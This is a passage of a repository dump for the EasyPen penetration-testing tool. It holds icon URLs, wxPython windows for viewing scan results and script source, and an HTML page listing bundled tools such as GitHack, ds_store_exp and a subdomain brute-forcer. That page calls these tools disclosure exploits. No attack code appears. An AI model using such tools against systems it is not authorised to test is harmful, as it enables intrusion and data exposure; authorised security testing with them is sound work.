| -------------------------------------------------------------------------------- /ui/resource/EasyPen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/EasyPen.png -------------------------------------------------------------------------------- /ui/resource/add_target.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/add_target.png -------------------------------------------------------------------------------- /ui/resource/brute_start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/brute_start.png -------------------------------------------------------------------------------- /ui/resource/brute_stop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/brute_stop.png -------------------------------------------------------------------------------- /ui/resource/btn_help.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/btn_help.png -------------------------------------------------------------------------------- /ui/resource/bug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/bug.png -------------------------------------------------------------------------------- /ui/resource/check_update.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/check_update.png -------------------------------------------------------------------------------- /ui/resource/database.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/database.png -------------------------------------------------------------------------------- /ui/resource/db_view_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/db_view_icon.png -------------------------------------------------------------------------------- /ui/resource/delete-target.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/delete-target.png -------------------------------------------------------------------------------- /ui/resource/easypen_tools.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/easypen_tools.png -------------------------------------------------------------------------------- /ui/resource/edit_port_profile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/edit_port_profile.png -------------------------------------------------------------------------------- /ui/resource/edit_ports.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/edit_ports.png -------------------------------------------------------------------------------- /ui/resource/empty_data.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/empty_data.db -------------------------------------------------------------------------------- /ui/resource/exit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/exit.png -------------------------------------------------------------------------------- /ui/resource/exp_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/exp_icon.png -------------------------------------------------------------------------------- /ui/resource/import_targets.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/import_targets.png -------------------------------------------------------------------------------- /ui/resource/import_targets_16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/import_targets_16.png -------------------------------------------------------------------------------- /ui/resource/loading.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/loading.jpg -------------------------------------------------------------------------------- /ui/resource/menu_delete_target.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/menu_delete_target.png -------------------------------------------------------------------------------- /ui/resource/page_next.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/page_next.png -------------------------------------------------------------------------------- /ui/resource/page_previous.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/page_previous.png -------------------------------------------------------------------------------- /ui/resource/portscan_start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/portscan_start.png -------------------------------------------------------------------------------- /ui/resource/python_shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/python_shell.png -------------------------------------------------------------------------------- /ui/resource/readme_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/readme_logo.png -------------------------------------------------------------------------------- /ui/resource/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/screenshot.png -------------------------------------------------------------------------------- /ui/resource/script_file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/script_file.png -------------------------------------------------------------------------------- /ui/resource/send_to_scanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/send_to_scanner.png -------------------------------------------------------------------------------- /ui/resource/settings_discover_options.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/settings_discover_options.png -------------------------------------------------------------------------------- /ui/resource/settings_general.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/settings_general.png -------------------------------------------------------------------------------- /ui/resource/settings_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/settings_icon.png -------------------------------------------------------------------------------- /ui/resource/settings_port.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/settings_port.png -------------------------------------------------------------------------------- /ui/resource/settings_scan_options.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/settings_scan_options.png -------------------------------------------------------------------------------- /ui/resource/sort_down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/sort_down.png -------------------------------------------------------------------------------- /ui/resource/sort_up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/sort_up.png -------------------------------------------------------------------------------- /ui/resource/source_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/source_code.png -------------------------------------------------------------------------------- /ui/resource/start_btn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/start_btn.png -------------------------------------------------------------------------------- /ui/resource/target_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/target_0.png -------------------------------------------------------------------------------- /ui/resource/target_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/target_1.png -------------------------------------------------------------------------------- /ui/resource/target_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/target_2.png -------------------------------------------------------------------------------- /ui/resource/target_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/target_3.png -------------------------------------------------------------------------------- /ui/resource/target_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/target_4.png -------------------------------------------------------------------------------- /ui/resource/target_5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/target_5.png -------------------------------------------------------------------------------- /ui/resource/target_6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/target_6.png -------------------------------------------------------------------------------- /ui/resource/targets_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/targets_icon.png -------------------------------------------------------------------------------- /ui/resource/tools/GitHack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/tools/GitHack.png -------------------------------------------------------------------------------- /ui/resource/tools/IIS_shortname_Scanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/tools/IIS_shortname_Scanner.png -------------------------------------------------------------------------------- /ui/resource/tools/IIS_shortname_Scanner.yfl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/tools/IIS_shortname_Scanner.yfl -------------------------------------------------------------------------------- /ui/resource/tools/ds_store_exp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/tools/ds_store_exp.png -------------------------------------------------------------------------------- /ui/resource/tools/idea_exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/tools/idea_exploit.png -------------------------------------------------------------------------------- /ui/resource/tools/subDomainsBrute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/tools/subDomainsBrute.png -------------------------------------------------------------------------------- /ui/resource/tools/swagger-exp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/tools/swagger-exp.png -------------------------------------------------------------------------------- /ui/resource/vul_scan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/resource/vul_scan.png -------------------------------------------------------------------------------- /ui/scan/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/scan/__init__.py -------------------------------------------------------------------------------- /ui/scan/frame_scan_result_viewer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import wx 4 | import os 5 | import lib.config as conf 6 | 7 | 8 | class ScanResultViewFrame(wx.Frame): 9 | def __init__(self, parent): 10 | wx.Frame.__init__(self, None, -1, "Vulnerability Details", size=(500, 200), 11 | style=wx.DEFAULT_FRAME_STYLE & ~wx.RESIZE_BORDER & ~wx.MAXIMIZE_BOX | wx.STAY_ON_TOP) 12 | self.parent = parent 13 | icon = wx.Icon() 14 | icon.CopyFromBitmap(wx.Image(os.path.join(conf.root_path, 'ui/resource/EasyPen.png')).ConvertToBitmap()) 15 | self.SetIcon(icon) 16 | self.SetBackgroundColour('white') 17 | self.text = wx.TextCtrl(self, -1, style=wx.TE_MULTILINE | wx.HSCROLL | wx.TE_RICH2 | wx.TE_NOHIDESEL) 18 | 19 | def show_details(self, details): 20 | self.text.SetValue(details) 21 | self.text.SetEditable(False) 22 | 23 | 24 | if __name__ == '__main__': 25 | app = wx.App() 26 | app.SetAppName('Test') 27 | frame = ScanResultViewFrame(None) 28 | frame.Show() 29 | app.MainLoop() 30 | -------------------------------------------------------------------------------- /ui/scan/frame_soure_code_viewer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import wx 4 | import os 5 | import codecs 6 | import lib.config as conf 7 | 8 | 9 | class SourceCodeViewFrame(wx.Frame): 10 | def __init__(self, parent): 11 | wx.Frame.__init__(self, None, -1, "View Source Code", size=(800, 600), 12 | style=wx.DEFAULT_FRAME_STYLE & ~wx.RESIZE_BORDER & ~wx.MAXIMIZE_BOX | wx.STAY_ON_TOP) 13 | self.parent = parent 14 | icon = wx.Icon() 15 | icon.CopyFromBitmap(wx.Image(os.path.join(conf.root_path, 'ui/resource/EasyPen.png')).ConvertToBitmap()) 16 | self.SetIcon(icon) 17 | self.SetBackgroundColour('white') 18 | self.text = wx.TextCtrl(self, -1, style=wx.TE_MULTILINE | wx.HSCROLL | wx.TE_RICH2 | wx.TE_NOHIDESEL) 19 | 20 | def show_source_code(self, script_name): 21 | self.SetTitle("Source Code of %s" % script_name) 22 | path = os.path.join(conf.root_path, 'scripts/%s.py' % script_name) 23 | with codecs.open(path, encoding='utf-8') as f: 24 | self.text.WriteText(f.read()) 25 | self.text.SetInsertionPoint(0) 26 | self.text.SetEditable(False) 27 | 28 | 29 | if __name__ == '__main__': 30 | app = wx.App() 31 | app.SetAppName('Test') 32 | frame = SourceCodeViewFrame(None) 33 | frame.Show() 34 | app.MainLoop() 35 | -------------------------------------------------------------------------------- /ui/scan/panel_scan.py: -------------------------------------------------------------------------------- 1 | import wx 2 | import lib.config as conf 3 | from lib.common import get_abs_path 4 | from ui.scan.panel_scripts_list import ScriptListCtrlPanel 5 | from ui.scan.panel_scan_results import ResultListCtrlPanel 6 | from ui.scan.box_targets_input import VulnerabilityScanBox 7 | 8 | 9 | class VulScanPanel(wx.Panel): 10 | def __init__(self, frame): 11 | wx.Panel.__init__(self, frame.notebook, -1, style=wx.CLIP_CHILDREN) 12 | self.frame = frame 13 | self.notebook = wx.Notebook(self, -1, style=wx.CLIP_CHILDREN) 14 | self.scripts_panel = ScriptListCtrlPanel(self.notebook) 15 | self.scan_box = VulnerabilityScanBox(self) 16 | self.result_panel = ResultListCtrlPanel(self.notebook, self.scan_box.db_choice) 17 | self.notebook.AddPage(self.scripts_panel, " Scripts ") 18 | self.notebook.AddPage(self.result_panel, " Results ") 19 | self.sizer = sizer = wx.BoxSizer(wx.VERTICAL) 20 | sizer.Add(self.notebook, 1, wx.LEFT | wx.RIGHT | wx.TOP | wx.EXPAND, 10) 21 | sizer.Add(self.scan_box.sizer, 0, wx.LEFT | wx.RIGHT | wx.EXPAND, 10) 22 | self.SetSizer(sizer) 23 | 24 | 25 | if __name__ == '__main__': 26 | app = wx.App() 27 | app.SetAppName('Test') 28 | conf.load_config() 29 | frame = wx.Frame(None, -1, "Test", size=(950, 550)) 30 | main_panel = wx.Panel(frame, -1, size=(950, 550)) 31 | frame.notebook = wx.Notebook(main_panel, -1, style=wx.CLIP_CHILDREN, size=(850, 500)) 32 | discover_panel = VulScanPanel(frame) 33 | frame.notebook.AddPage(discover_panel, "Scanner") 34 | frame.notebook.Layout() 35 | frame.Show() 36 | frame.Center(wx.BOTH) 37 | app.MainLoop() 38 | -------------------------------------------------------------------------------- /ui/settings/settings_ui/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/settings/settings_ui/__init__.py -------------------------------------------------------------------------------- /ui/targets/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/targets/__init__.py -------------------------------------------------------------------------------- /ui/tools/panel_tools_index.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import wx 4 | import os 5 | import wx.html 6 | import wx.html2 7 | import wx.lib.wxpTag 8 | import lib.config as conf 9 | 10 | 11 | class ToolIndex(wx.Panel): 12 | def __init__(self, parent): 13 | wx.Panel.__init__(self, parent, -1, size=(500, 500)) 14 | self.SetBackgroundColour('white') 15 | 16 | html = wx.html2.WebView.New(self) 17 | doc_path = os.path.join(conf.root_path, 'ui/tools/tools.html') 18 | html.LoadURL('file://' + doc_path) 19 | sizer = wx.BoxSizer(wx.VERTICAL) 20 | sizer.Add(html, 1, wx.ALL | wx.EXPAND) 21 | self.SetSizer(sizer) 22 | self.Centre(wx.BOTH) 23 | self.Show() 24 | 25 | def exit(self, event): 26 | self.Close() 27 | 28 | 29 | if __name__ == '__main__': 30 | app = wx.App() 31 | app.SetAppName('Test') 32 | frame = wx.Frame() 33 | app.MainLoop() 34 | -------------------------------------------------------------------------------- /ui/tools/tools.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 26 | 27 | 28 |
29 |
30 |

Installed Tools

31 |
32 |
33 |
34 |
35 |

GitHack

36 |

GitHack is a .git folder disclosure exploit. 37 | It rebuilds source code from .git folder while keep directory structure unchanged.

38 |
39 |
40 |

IIS shortname Scanner

41 |

An IIS shortname enumerate exploit.

42 |
43 |
44 |

ds_store_exp

45 |

A .DS_Store file disclosure exploit. 46 | 47 | It parses .DS_Store file and downloads files recursively.

48 |
49 |
50 |

idea_exploit

51 |

A script use .idea folder to gather sensitive information for pentesters.

52 |
53 |
54 |

subDomainsBrute

55 |

A fast sub domain brute tool for pentesters.

56 |
57 |
58 |

swagger-exp

59 |

Swagger REST API information disclosure exploit.

60 |
61 |
62 | 63 | 64 | -------------------------------------------------------------------------------- /ui/tools/tools_ui/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/tools/tools_ui/__init__.py --------------------------------------------------------------------------------